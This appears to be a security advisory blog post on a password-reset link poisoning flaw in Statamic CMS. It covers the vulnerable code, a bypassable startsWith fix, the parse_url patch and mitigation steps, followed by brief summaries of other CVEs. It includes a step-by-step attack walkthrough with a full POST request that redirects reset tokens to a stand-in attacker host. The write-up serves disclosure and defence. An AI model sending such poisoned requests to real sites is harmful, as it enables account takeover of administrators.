Feb 24, 2026·5 min read·701 visits
Statamic CMS allowed users to define the `_reset_url` parameter in password reset requests without validation. Attackers can abuse this to redirect the password reset token to their own domain when a victim clicks the link in a legitimate email. This leads to full account takeover.
A critical vulnerability in Statamic CMS turns the password reset feature into an account takeover weapon. By injecting a malicious base URL into the reset request, attackers can force the system to email valid users a link that sends their reset token directly to the attacker's server.
In the world of web security, there is a golden rule that every junior developer learns (and eventually ignores): Never Trust User Input.
Statamic, a popular "flat-file first" Laravel CMS, unfortunately decided to be a little too trusting. In an effort to make their system flexible, they allowed developers to customize where a user lands after clicking a password reset link. This was controlled by a simple parameter in the POST request called _reset_url.
Ideally, this parameter would just point to a relative path like /reset-password. But because the code didn't validate the input, it became a "Choose Your Own Adventure" for hackers. Instead of sending the user to the CMS's reset page, an attacker could politely ask the CMS to send the user—and their precious reset token—straight to an evil server controlled by the attacker.
This vulnerability (CWE-640) is a textbook example of Password Reset Link Poisoning. The mechanism is simple: the application generates a cryptographic token (abc123...) that proves you are the account owner. It needs to send this token to you in a link.
The flaw resides in how Statamic constructed that link. Instead of using the server's configured APP_URL or ROOT domain, it prioritized the user-supplied _reset_url from the incoming HTTP request.
When the legitimate application processes the password reset request, it dutifully composes an email to the victim. It says, "Hey, here is your link!" followed by {_reset_url}?token={secret}. If I, the attacker, set _reset_url to https://evil-hacker.com, the valid Statamic server sends a valid email to the victim pointing to my website. The moment the victim clicks that link, their browser sends a GET request to my server, appending their secret token in the query string. Game over.
The remediation history for this bug is almost as interesting as the bug itself. It highlights a common developer fallacy: attempting to sanitize input with regex or string matching instead of strict validation.
The Original Sin: The code simply accepted the input:
if ($url = $request->_reset_url) {
// No validation whatsoever
PasswordReset::resetFormUrl(URL::makeAbsolute($url));
}The Failed Fix (Attempt 1):
The developers realized this was bad and tried to ensure the URL started with the site's legitimate URL using Str::startsWith.
// Flawed Logic
$isExternal = ... ->filter(fn ($siteUrl) => Str::startsWith($url, $siteUrl))->isEmpty();Why it failed: Str::startsWith is dumb. If your site is https://example.com, and I send https://example.com.attacker.com, the check passes because the string technically starts with the correct characters. This is a classic subdomain/suffix bypass.
The Real Fix (Attempt 2): The final patch (v5.73.10 / v6.3.3) stops playing games with strings and parses the actual domain structure.
// Solid Logic
$urlDomain = parse_url($url, PHP_URL_HOST);
// ... compare $urlDomain strictly against known site domainsBy parsing the host, example.com and example.com.attacker.com are treated as distinct entities, closing the vulnerability.
Let's walk through how a black-hat would weaponize this. The beauty of this attack is that the phishing email comes from the legitimate server. It passes SPF, DKIM, and DMARC checks because it is a real email from the system.
Step 1: Recon
The attacker finds a Statamic login page and identifies the admin email (e.g., admin@target-corp.com).
Step 2: The Poisoned Request
The attacker sends a POST request to the password reset endpoint:
POST /!/auth/password/email HTTP/1.1
Host: target-corp.com
Content-Type: application/x-www-form-urlencoded
email=admin@target-corp.com&_reset_url=https://attacker-logger.com/collectStep 3: The Trap The target admin receives an email: "Someone requested a password reset. If this was you, click here." The link looks like a button. The admin thinks, "Weird, I didn't request this," but curiosity (or fear of being hacked) often drives them to click it to "cancel" or investigate.
Step 4: The Capture
The admin clicks. Their browser opens https://attacker-logger.com/collect?token=VERY_SECRET_TOKEN&email=.... The attacker's access logs now contain the keys to the kingdom.
Why is this rated CVSS 9.3 (Critical)? Because in a CMS environment, Administrator access is usually synonymous with Remote Code Execution (RCE).
Once the attacker uses the stolen token to reset the admin's password and log in, they can typically:
This vulnerability bypasses all authentication perimeters. It doesn't matter how strong the admin's password was; the reset mechanism itself was the weak link. It requires user interaction (clicking the link), but since the email is legitimate, the success rate is exponentially higher than standard phishing.
If you are running Statamic v5 or v6, you are likely vulnerable. The patch is straightforward.
Immediate Action: Update to v5.73.10 or v6.3.3 immediately. These versions enforce strict domain whitelisting for the reset URL.
Defense in Depth: Even after patching, you should harden your environment:
_reset_url if your application doesn't actually need that feature (most don't).APP_URL environment variable is set correctly and forcing HTTPS.TrustProxies middleware in Laravel to only trust headers from known load balancers, preventing Host header spoofing which can sometimes achieve similar results.CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Statamic CMS Statamic | < 5.73.10 | 5.73.10 |
Statamic CMS Statamic | >= 6.0.0-alpha.1 < 6.3.3 | 6.3.3 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-640 |
| Attack Vector | Network |
| CVSS Score | 9.3 (Critical) |
| Exploit Status | PoC Available |
| Impact | Account Takeover |
| Platform | PHP / Laravel |
Weak Password Recovery Mechanism for Forgotten Password
CVE-2026-19730 is a local security vulnerability in the Podman container engine's Quadlet systemd generator. When updating existing configurations using 'podman quadlet install --replace' on filesystems that do not support reflink operations (such as standard ext4), the file is opened without the O_TRUNC flag. If the new configuration file is shorter than the pre-existing file, the trailing lines of the old file remain intact and are successfully parsed by systemd, leading to a failure to remove security-critical parameters like AddCapability, User, or host storage mounts.
Snipe-IT prior to version 8.7.0 is vulnerable to an authentication bypass (CVE-2026-63493 / GHSA-hxcx-9h4f-42xx) within its Laravel Passport API integration. When multi-factor authentication (MFA/2FA) is enabled, an attacker possessing a victim's password can bypass MFA controls completely. This occurs because the Laravel middleware that enforces MFA was registered only in the stateful 'web' middleware group, leaving the stateless 'api' middleware group unguarded. Consequently, an attacker can use a valid password to initiate a session, bypass the MFA prompt on the web UI by communicating directly with the API, and generate a long-lived Personal Access Token (PAT) to perform unauthorized operations.
CVE-2026-57576 is an application-level Denial of Service (DoS) vulnerability in Plone. It resides in the `plone.app.dexterity` and `plone.app.contenttypes` packages, allowing authenticated users with content creation permissions to submit excessively long metadata attributes. Because these fields are stored without length limits and subsequently processed by indexing and rendering engines, they trigger complete server resource exhaustion and thread starvation.
An uncontrolled resource consumption vulnerability in plone.app.contenttypes allows authenticated users to trigger application-level denial of service via oversized filename metadata in file uploads.
An unauthenticated remote SQL injection vulnerability exists in multiple API list endpoints of ReactPress prior to version 3.7.0. The vulnerability stems from unsafe construction of TypeORM QueryBuilder conditions, where untrusted HTTP query parameter keys are interpolated directly into SQL statements as identifiers without sanitization or validation.
CVE-2026-56669 is a high-severity vulnerability in the Elysia web framework (ElysiaJS) that combines Inefficient Algorithmic Complexity (CWE-407) and an Interpretation Conflict (CWE-436). It allows remote, unauthenticated attackers to cause a complete Denial of Service (DoS) via CPU resource exhaustion using specially crafted multipart or urlencoded payloads.